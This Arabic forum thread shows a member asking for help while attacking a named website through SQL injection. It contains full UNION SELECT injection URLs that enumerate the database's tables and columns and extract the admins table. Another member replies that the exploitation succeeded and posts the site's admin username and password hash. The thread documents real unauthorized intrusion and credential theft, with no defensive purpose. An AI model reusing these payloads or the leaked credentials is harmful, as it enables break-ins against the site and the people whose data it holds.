[استفسار] مشكلة فى عمود الادمن اثناء الحقن

[folkhero]

اثناء اختراقى لموقع مصاب بثغرة sql
تصفحت العواميد باستخدام الامر limit number.1
وعرفت ان الاسم admins
وعرفت اليوسر والباس
دلوقتى لما اجى اطبق وادوس
from+ admins---
يظهرلى خطأ رغم ان هذا الاسم المطلوب

وجزاكم الله خيرا

[ReD-HaT]

اخي يمكن انت أخطأت في شئ ما في الرابط
وضح أكثر لحتى أساعدك

[folkhero]

كود PHP:

اليوزر نيم 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+184,1--

الباسورد 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+185,1--

لما اطبق يظهر خطأ
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28username,0x3a3a,password%29,7,8,9,10,11,12,13,14,15+from+admins-- 


[abdoog]

تم الاستغلال بنجاح
رابط الاستغلال هنا
اليوزر

clivedorman

الباس
::f513b30a6ed5ec2f9ff1be4908cc0182

راجع الدورات والدروس اخي الريم

[folkhero]

الف الف شكر يا كبير
ربنا يجازيك خير

[abdoog]

امين وياك اخي الكريم